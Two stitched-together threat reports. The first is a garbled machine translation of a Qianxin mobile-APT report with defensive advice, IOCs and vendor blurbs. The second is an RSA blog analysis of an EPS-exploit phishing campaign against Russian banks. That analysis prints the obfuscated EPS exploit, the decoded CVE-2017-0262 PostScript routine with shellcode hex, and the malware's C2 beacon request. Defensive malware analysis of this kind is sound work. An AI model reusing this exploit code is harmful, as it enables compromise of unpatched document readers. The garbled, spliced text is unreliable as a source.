The analysis believes that the reasons for the increasing attention of APT activities on mobile platforms and social platforms mainly include the following aspects : First of all, the level of network security construction and management in many developing countries is relatively backward , so that it is possible to gain access to smartphones only through attacks on smartphones .
large amounts of sensitive and confidential information.
Second , the popularity of smartphones is getting higher and higher .
It is a low-cost , high -cost way to launch cyber attacks through social platforms against secret -related personnel with insufficient security awareness .
Efficient attack .
_ _
Third , smartphones often have more unfixed security vulnerabilities , and the penetration rate of mobile security software is not high , which leads to the launch of network targeting mobile platforms .
The technical threshold of attack is relatively lower.
Then , for government and enterprise institutions , especially the military , police and other secret or sensitive institutions , how should they do a good job in protection , and try to avoid or reduce the targeting of immigrants as much as possible ?
App for mobile platforms and social platforms _What is the impact of T activities on yourself ?
Here we give some practical suggestions as follows .
1 ) Work and life are separated , and sensitive information is not shared Agencies should strive to avoid staff using personal smartphones for routine office activities .
_ _
Conditional units can distribute work mobile phones or confidential mobile phones to staff .
_ _
If the conditions are trueIt is not allowed .
You can use enterprise - level secure mobile work platforms for internal communication and office work , such as Lanxin and cloud mobile phone security management systems .
2 ) Strengthen safety awareness education and strictly implement safety regulations Relevant institutions should strengthen employee security awareness education , do not use personal mobile phones to shoot , store sensitive or confidential information , and do not share sensitive or confidential information through social platforms information dont click on strangers postsUnknown links come reject the temptation of illegal information such as pornography and gambling .
At the same time , relevant agencies should also formulate practical cybersecurity management standards and employee code of conduct , and carry out strictSupervision and review .
3 ) Update software system , use security software Relevant institutions should require employees , whether it is an office mobile phone or a personal mobile phone , to update the operating system and core software in a timely manner to ensure that the smart phone starts to work .
Always in the best safe condition .
sameInstall the necessary mobile phone security software at any time to reduce the damage of various Trojan horses and viruses as much as possible .
4 ) Establish threat intelligence capabilities to prevent APT attacks _ _ 10/11 Relevant institutions should work with professional security vendors to build efficient threat information collection , analysis and disposal capabilities , and timely detect , intercept and track various APT activities .
_
move , bring APT activities to the _ _Impact and losses are minimized .
At present , a full line of products based on Qianxin s self - developed Owl engine and Qianxin Threat Intelligence Center s threat intelligence data , including Qianxin s threat intelligence platform ( TIP ) , Tianqing , Tianji _ _ _, Sky Eye Advanced Threat Detection System , Qi An Xin N G SOC , Qi An Xin Situational Awareness , etc.
,
have all supported the accurate detection of such attacks .
Part IOC _ _ Domain name / IP Purpose a p p p l a c e .
s h o p payload server a p p z .
l i v e payload server a p z s h a r e .
c l u b payload server a p p z s h a r e .
d i g i t a l payload server a p p z s h a r e .
c l u b payload server 2 1 2 .
2 4 .
1 0 0 .
1 9 7 payload server A n d r o i d M D 5 package name 7 a 4 7 d 8 5 9 d 5 e e 7 1 9 3 4 0 1 8 4 3 3 e 3 a b 7 e d 5 b c o m .
cr .
c ha t _ _ 0 c 9 8 0 f 4 7 5 7 6 6 f 3 a 5 7 f 3 5 d 1 9 f 4 4 b 0 7 6 6 6 c o m .
c r a z y .
t a l k Appendix 1 Qi Anxin Virus Response Center Qianxin Virus Response Center is a virus identification and response professional team under Beijing Qianxin Technology Co., Ltd. ( Qianxin Group ) , backed by the core of Qianxin Cloud platform , with daily tens of millionsSample detection and disposal capabilities , daily 100 million -level safety data correlation analysis capabilities .
Combining years of anti- virus core security technology and operational experience , based on the Q O W L and Q D E independently developed by the group( artificial intelligence ) engine , forming cross- platform Trojan virus and vulnerability detection and repair capabilities , and has powerful big data analysis and realization of full platform security .
Full protection and early warning capabilities .
Qianxin Virus Response Center is responsible for supporting the virus detection of Qianxin s entire line of security products , actively responding to security feedback from customers , and can provide customers with the first time Eliminate intractable diseases .
_
Center ZengHe has dealt with major virus incidents many times and participated in the security work of major events , which has been highly recognized by customers , which has enhanced Qi Anxin s brand influence in the industry .
Appendix 2 Qianxin Virus Response Center Mobile Security Team _ The mobile security team of Qianxin Virus Response Center has been committed to the research in the field of mobile security and Android security ecology .
At present , Qi Anxin s mobile security products can not only detect and kill commonIt can also accurately detect and kill popular software such as brushing , fraud , gambling , violations , pornography and other black products .
_ _ _ _ _
It can effectively support traceability through its internal analysis systemAnalysis and other tracking .
Through its high- value mobile attack discovery process , it has captured a number of attack events , released a number of mobile black industry reports , and disclosed multiple A P T groups .
weaving activities , _Two years ago , new APT organizations under the background of 4 11/11 countries have been disclosed for the first time ( Nuo Chong Lion Organization Si l en c e r L ion , Blade Eagle Organization B l a d e H aw k , Aiye Leopard Organization S _no w L e o par d and this time the Vajra Eleph ) .
_ _ _ _ _ _ _ _ _ _ _ _ _
In the future , we will continue to be at the forefront of global mobile security research , tracking and analyzing the first timeThe latest mobile security incidents , in -depth exploration and tracking of domestic mobile - related black and gray products , are striving to maintain the network security on the mobile terminal .
Appendix 3 Introduction of Qianxin Mobile Products Qianxin Mobile Terminal Security Management System ( Tianji ) is aimed at customers in public security , justice , government , finance , operators , energy , manufacturing and other industries .
Terminal control and strong terminal security features _A unique mobile terminal security management product .
The product is based on Qi Anxin s security technology accumulation and operation experience on massive mobile terminals , from hardware , OS , application , data to link and other multi - levelSecurity protection solutions to ensure the security of enterprise data and applications in mobile terminals .
Qianxin Mobile Situational Awareness System is a mobile situational awareness management product jointly launched by Qianxin Security Supervision BG Situational Awareness First Division and its partner Qianxin Virus Response Center Mobile Team.
Different from traditional mobile security vendors, which focus on APP production and release, and provide customers with APP reinforcement, detection, analysis, etc.
mobile situational awareness is oriented to customers with regulatory responsibilities, focusing more on APP download and use, and find out the scope of the jurisdiction.
The use of APP provides customers with functions such as APP illegal detection, compliance analysis, and traceability.
Russian Bank Offices Hit with Broad Phishing Wave community.rsa.com /community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials.
Much less common is a phishing campaign targeting the banks themselves.
Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more hardened security posture than the average banks customer.
Target: multiple bank offices in Russia But still, payoff potential for a successful bank compromise might be considerable.
In this threat advisory, we describe a Russian-language phishing campaign active during the second week of August 2017, targeting not the usual banking customers, but the Russian banks themselves.
And in an unusual reversal of typical bank phishing social engineering tactics, the phishing emails purport to be from the banks customers.
Consider the following phish delivered to the email address displayed on the banks website.
In the email screenshot with our added machine translation from Russian, notice the subject line and message body text reflecting a business customer upset about extra charges on his credit card social engineering theme (Figure 1).
Figure 1 Phishing email targeting Russia bank 1, machine translation in red boxes Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting Russia bank 2.
While this email is part of the same campaign, note that the body text, subject lines, file name, and mail.com sender email is different from that targeting Russia bank 1, suggesting at least some manual actor modifications to the phishing email construction.
Figure 2 Phishing email targeting Russia bank 1, machine translation in red boxes RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit.
The disgruntled banking customer was consistent throughout illustrated below are a few attachment examples: Exploit attachment 1 was deployed with the following names in Russian: .docx (Account statement) .docx (Card statement) .docx (Personal information) 1/9 https://community.rsa.com/community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336682/Russian_Banking1.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336683/RussianBanking2.png https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F4c2c971109c54bf49950c852f3aee4b22266c29c86a3260d726f639c435edbf02Fanalysis2F https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336684/RussianBanking3.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336685/RussianBanking4.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336686/RussianBanking5.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336687/ScreenShot2017-08-17at2.29.51PM.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336692/Russian_Banking6.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336693/Russian_Banking7.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336694/FirstWatch_banner.png Exploit attachment 2 was deployed with the following names: .docx (or Card statement) .docx (or Customer card statement) Exploit attachment 3 was deployed using the following name: .docx (or Statement) Note: Hashes of all samples will be included in the Appendix of this analysis.
As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign was subsequently brought to the attention of the Central Bank of Russias FinCERT by one or more of the banks being targeted.
On 17 August 2017, the day we were finishing up this analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication.
An exploit in someone elses wrapper?
Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files.
FireEye discovered a malicious docx exploiting a zero day vulnerability in Microsofts Encapsulated Postscript (EPS) filter, in the summer of 2015.
This EPS exploit was assigned CVE-2015-2545.
In March 2017, FireEye observed both nation state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with an update in April 2017.
So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets havent applied the April patch that would make every EPS exploit futile.
Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level.
In fact, all 23 known docx files used in this campaign are very nearly identical, with the same 12 component files.
Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a unique hash with each build.
Figure 3 Tree view of docx container file used to target Russian banks last week Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18 th.
This is no coincidence in fact, those same docx component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs , back when this EPS exploit was still a zero day (Figure 4).
2/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F4daf49b1c70e9740444e29b6faf5e8c4fae17fe7aea636d0dfa873093982a5d62Fanalysis2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F1892154cc47e8a1bc81186d131e001a22e4edbc4fd88688eb1782b934e1941b62Fanalysis2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research2F20152F092Fattack_exploitingmi.html https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research2F20172F052Feps-processing-zero-days.html https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F91acb0d56771af0196e34ac95194b3d0bf3200bc5f6208caf3a91286958876f92Fanalysis2F Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing.
Figure 5 Tree view of Trump exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation Of special note is the common app.xml file, which comes directly from the decoy document in the Trump exploit file.
This app.xml file contains the same URL to the California Courier website (www[.]thecaliforniacourier[.
]com), where the text was copied from Trumps Attack on Syria: Wrong for so Many Reasons as described by ESET in their exploit analysis .
3/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2Fwww.thecaliforniacourier.com https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.welivesecurity.com2F20172F052F092Fsednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy2F Clearly there was some borrowing going on between this current bank-targeting campaign and the previous nation-state espionage campaign.
Does this suggest that these campaigns and actors are in any way complicit/related?
No.
On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the Trump campaign) would almost certainly NOT be involved in broadly exploiting Russian banks a few months later.
That being said, an alternative hypothesis is that these bank-targeting actors purposely purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers.
As well see shortly, the attackers also interestingly signed (commented) their malware with lyrics from Slipknots Snuff.
Figure 6 Google result with Slipknot Snuff lyrics Which exploit is this?
Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AVs that have had plenty of time to add detection for known EPS exploits.
With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineerings Kevin Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment.
Step 1.
Unzipping the sample DOCX file, reveals the following embedded EPS Image file unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 Archive: ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 inflating: [Content_Types].xml inflating: docProps/app.xml inflating: docProps/core.xml inflating: word/document.xml inflating: word/fontTable.xml inflating: word/settings.xml inflating: word/styles.xml inflating: word/webSettings.xml inflating: word/media/image1.eps inflating: word/theme/theme1.xml inflating: word/_rels/document.xml.rels inflating: _rels/.rels Step 2.
Examining the app.xml file, we can see a suspicious URL artifact cat docProps/app.xml ?
xml version1.0 encodingUTF-8 standaloneyes?
4/9 Properties xmlnshttp://schemas.openxmlformats.org/officeDocument/2006/extended-properties xmlns:vthttp://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypesTemplateNormal.dotm/TemplateTotalTime1/TotalTimePages2/Pages Words958/WordsCharacters5462/CharactersApplicationMicrosoft Office Word/ApplicationDocSecurity0/DocSecurityLines45/Lines Paragraphs12/ParagraphsScaleCropfalse/ScaleCropHeadingPairsvt:vector size2 baseTypevariantvt:variantvt:lpstrTitle/vt:lpstr/vt:variantvt:variant vt:i41/vt:i4/vt:variant/vt:vector/HeadingPairsTitlesOfPartsvt:vector size1 baseTypelpstrvt:lpstr/vt:lpstr/vt:vector/TitlesOfPartsCompany/Company LinksUpToDatefalse/LinksUpToDateCharactersWithSpaces6408/CharactersWithSpacesSharedDocfalse/SharedDocHLinksvt:vector size6 baseTypevariant vt:variantvt:i44456521/vt:i4/vt:variantvt:variantvt:i40/vt:i4/vt:variantvt:variantvt:i40/vt:i4/vt:variantvt:variantvt:i45/vt:i4/vt:variantvt:variant vt:lpwstrhXXp://www[.]thecaliforniacourier[.
]com /vt:lpwstr/vt:variantvt:variantvt:lpwstr/vt:lpwstr/vt:variant/vt:vector/HLinks HyperlinksChangedfalse/HyperlinksChangedAppVersion15.0000/AppVersion/Properties Step 3.
Examining the image1.eps file, we can see: 1.
A likely multibyte XOR key (7a5d5e20) 2.
Quoting lyrics from Slipknots Snuff in the comments (Myheartisjusttoodarktocare, Icantdestroywhatisntthere) 3.
A likely XOR encoded hexadecimal payload (017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 4.
9297e421f3a) 5.
A likely XOR decode loop: (0 1 A1 length 1 sub /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put for A1 ) 6.
A likely execution of the payload once it is decoded (exec ) 7.
Repetitive obfuscated comments translating to kasper-pidor kasper-pidor kasper-pidor kasper-pidor scattered throughout to make the code that make it harder to read.
These are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly?
(
e.g., 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220) Dump of image1.EPS code: PS-Adobe-3.0 EPSF-3.0 BoundingBox: 31 24 51 654 Page: 1 1 /Times-Roman findfont globaldict 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3 /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show /min 2 copy gt exch if pop bind def /max 2 copy lt exch if pop bind def /A3 token pop exch pop 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def /A2 6b61737065722d706 6b61737065722d706 7a5d5e20 def /A4 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 /A1 exch 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def 0 1 A1 length 1 sub 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 put for A1 5/9 https://community.rsa.com/external-link.jspa?urlhttp3A2F2Fschemas.openxmlformats.org2FofficeDocument2F20062Fextended-properties https://community.rsa.com/external-link.jspa?urlhttp3A2F2Fschemas.openxmlformats.org2FofficeDocument2F20062FdocPropsVTypes 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def 017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 9297e421f3a374e5a721f11497d66104a6d6e105a393b465a721f11487d1f11497d6f165a343a490c7d6f001b393a001e383800551c660 0017d71614f697e45023e36001e383800551c6c165a382643127d3a451c7d7161496a7e61486b7e4c1f333954127d3a451c7d71614f6a7e 614f697e4c1f333954127d3a451c7d71614e6c7e124f6b7e441f3b7e0f3b6c6f003b6e69003b696f001339375[]0077d7e00 quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 Myheartisjusttoodarktocare Icantdestroywhatisntthere 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A4 6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A3 6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 exec 6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 showpage quit Step 4.
Decoding the payload Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XORing each byte of the payload with its (position 4) in the XOR key.
For example, position 0 in the payload is XORd against 0x7a, position 1 is XORd against 0x5d, position 2 is XORd against 0x5e, position 3 is XORd against 0x20.
Then the cycle repeats for subsequent payload bytes.
Code similar to whats pasted below would decode it (acBuffer is payload, acKeys is XOR key).
for (int ctr 0 ctr sizeof(acPayload) - 1 ctr) printf(c, acPayload[ctr] (acKeys[(ctr 4)])) This results in the decoded payload snippet pasted below.
Highlighted is most likely an encoded payload used in the next stage.
Also highlighted below are Windows DLL and function artifacts indicating maliciousness.
/Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8 /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256 def /A11 A37 A41 idiv def /A11 A11 1 sub def A11 0 lt exit if A26 A11 A41 mul A54 putinterval loop A26 bind def /A61 dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt 1 0 ifelse sub 16 bitshift or bind def /A60 dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or bind def /A17 /A46 exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60 bind def /A2 /A45 exch def /A20 exch def A18 A20 A45 255 and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put bind def /A47 A18 exch get bind def /A29 2147418112 and /A56 exch def A18 A56 get 77 eq A18 A56 1 A60 get 90 eq A56 60 A60 A17 dup 512 lt A56 A60 dup A47 80 eq 1 A60 A47 69 eq exit if pop ifelse pop ifelse if if /A56 A56 65536 sub def loop A56 bind def /A51 /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq pop /A62 A38 A44 128 A60 A17 A60 def /A32 A44 132 A60 A17 def 02 eq /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def if ifelse 0 0 20 A32 1 A61 /A49 exch def /A50 A62 A49 A60 12 A60 A17 def A50 0 eq quit if A18 A38 A50 A60 14 getinterval A33 search length 0 eq pop pop pop A62 A49 A60 exit if pop if pop for bind def /A40 /A27 exch def /A23 exch def /A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29 bind def /A35 /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def /A24 6/9 A25 A21 A60 A17 def A24 0 eq 0 exit if A18 A58 A24 A60 50 getinterval A42 search length 2 eq pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit if pop if pop /A21 A21 4 A60 def loop bind def /A31 589567 string 00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800d00000000f1ffff7f A8 def 500 A31 589567 string copy pop repeat 1 array 226545696 forall /A19 exch def /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4 /A64 exch def A7 A64 search length A10 A60 exch pop exch pop quit ifelse bind def /A1 A7 50 45 search length A10 A60 exch pop exch pop quit ifelse bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 A3 50 45 search length A28 A60 exch pop exch pop quit ifelse bind def /A15 A1 64 A60 A17 255 and bind def A15 6 ne quit if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory) A35 def /A67 94 c3 A4 def /A65 A67 1 A60 def /A66 c2 0c A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2 A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52 4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6 558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed03000083c4088b55fc8982ac0000008b45fc0590000000508b4dfc83c118518b55fc8b82a8000000ffd0508b4dfc8b91ac000000ffd28b4dfc8981b40000008b55fc83c278528b45fc508b4dfc8b91a8000000ffd2508b45fc [] fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bbf6c7b6b39eb83cfe118f7b8ae9e877589c64db6e428832fd5899b413eaf351bc81004c65490f3667fe61eeb1c651c7ffd43188a9c33ce90e59032c103d45babfb945cd49b8111c4ed8fd9e6dca127ce5620c8502566f9b9c157a406b66c20c7b830ef45bbcb4e3ab6f0136a5b7f6e58602a1ff626ab174eb2cd98ca6b5dcada7fbc84846e53c042b6807505b89eaebca8145dcf30537e94a9244c3fe54a59ccd7c30cfe2def768f54e6d9569546c35b39e920145617f84c3fe20a9d6ddd2982ff661a4b1141571deb4e5666062604c4f4c4b454b588945fc8b45fc5f5e5b8be55dc3 putinterval A5 0 get bytesavailable Of particular in this last snippet is the block with the forall which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and as described in ESETs analysis on the subject.
With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262.
Step 5.
Second stage payload The second-stage payload (558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8 ) appears to be a simple hex-encoded blob (no XOR decoding needed).
Converting it from hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be QSVW ntdll.dll kernel32.dll LoadLibraryA GetProcAddress NtAllocateVirtualMemory NtProtectVirtualMemory GetCurrentProcess QSVW fff HJON rkw ijxip7uu UvxUpkxkX mIkvzXk pm_pu KmuPwpmLwpzvJmkpw m\wopkvwtwmOxkpx Mqkx mIkvzjjPtx_puWxtX Nkpm 8Mqpj9ikvkxt9z-wwvm99klw9pw9])J9tv ,Kpzqg 7mam Y7xmx 7kjkz jZp zjt 7/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.welivesecurity.com2F20172F052F092Fsednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fnvd.nist.gov2Fvuln2Fdetail2FCVE-2017-0262 Command and Control The malware performs calls back to 137.74.224[.
]142, at five second intervals (Figure 6).
Figure 6 Malware C2 in Wireshark, courtesy VXStream The destination hosts offers an HTTP 200 response and false.
GET /z/get.php?namec3857e72 HTTP/1.1 Host: 137.74.224.142 HTTP/1.1 200 OK Date: Thu, 10 Aug 2017 06:59:01 GMT Server: Apache/2.4.10 (Debian) Content-Length: 5 Content-Type: text/html charsetUTF-8 False We believe that the actors would not invoke remote control unless they had ruled out nosy researchers.
Based on Google searches identifying the C2 IP address ( 137.74.224[.
]142) as an established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner.
Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7).
Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain part-1 and CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017.
8/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2F137.74.224.142 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2F137.74.224.142 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fblogs.rsa.com2Fattacking-a-pos-supply-chain-part-12F https://community.rsa.com/community/products/netwitness/blog/2017/08/04/targeted-malspam-delivers-chthonic-and-dimnie-8-2-2017 Thanks to Kent Backman, Kevin.
Douglas2rsa.com, and Christopher Elisan for all their contributions to this research.
Appendix Md5 hashes of EPS exploit docx with C2 of 137.74.224[.
]142 0c718531890dc54ad68ee33ed349b839 9c7e70f0369215004403b1b289111099 e589ae71722ac452a7b6dd657f31c060 68e190efe7a5c6f1b88f866fc1dc5b88 630db8d3e0cb939508910bd5c93e09fe c43f1716d6dbb243f0b8cd92944a04bd df0f8fb172ee663f6f190b0b01acb7bf ed74331131da5ac4e8b8a1c818373031 e8ea2ce5050b5c038e3de727e266705c 5df8067a6fcb6c45c3b5c14adb944806 104913aa3bd6d06677c622dfd45b6c6d 00b470090cc3cdb30128c9460d9441f8 f8ce877622f7675c12cda38389511f57 7c80fb8ba6cf094e709b2d9010f972ba cfc0b41a7cde01333f10d48e9997d293 69de4a5060671ce36d4b6cdb7ca750ce 18c29bc2bd0c8baa9ea7399c5822e9f2 3be61ecba597022dc2dbec4efeb57608 b57dff91eeb527d9b858fcec2fa5c27c 1bb8eec542cfafcb131cda4ace4b7584 4c1bc95dd648d9b4d1363da2bad0e172 d9a5834bde6e65065dc82b36ead45ca5 7743e239c6e4b3912c5ccba04b7a287c MD5 hash of EPS exploit with C2 of 158.69.218[.
]119 57f51443a8d6b8882b0c6afbd368e40e 9/9 https://community.rsa.com/people/Gl8LOTl4A2rCbPZkifuse3cHH75XbzVWfnhIYrQRH4A mailto:Kevin.
Douglas2rsa.com https://community.rsa.com/people/eljiuOGik1LMVgyOmpJffeA3CdD1U3ruX0YyuZNcnJY Russian Bank Offices Hit with Broad Phishing Wave Target: multiple bank offices in Russia An exploit in someone elses wrapper?
Which exploit is this?
Step 1.
Unzipping the sample DOCX file, reveals the following embedded EPS Image file Step 2.Examining the app.xml file, we can see a suspicious URL artifact Step 3.
Examining the image1.eps file, we can see: Step 4.
Decoding the payload Step 5.
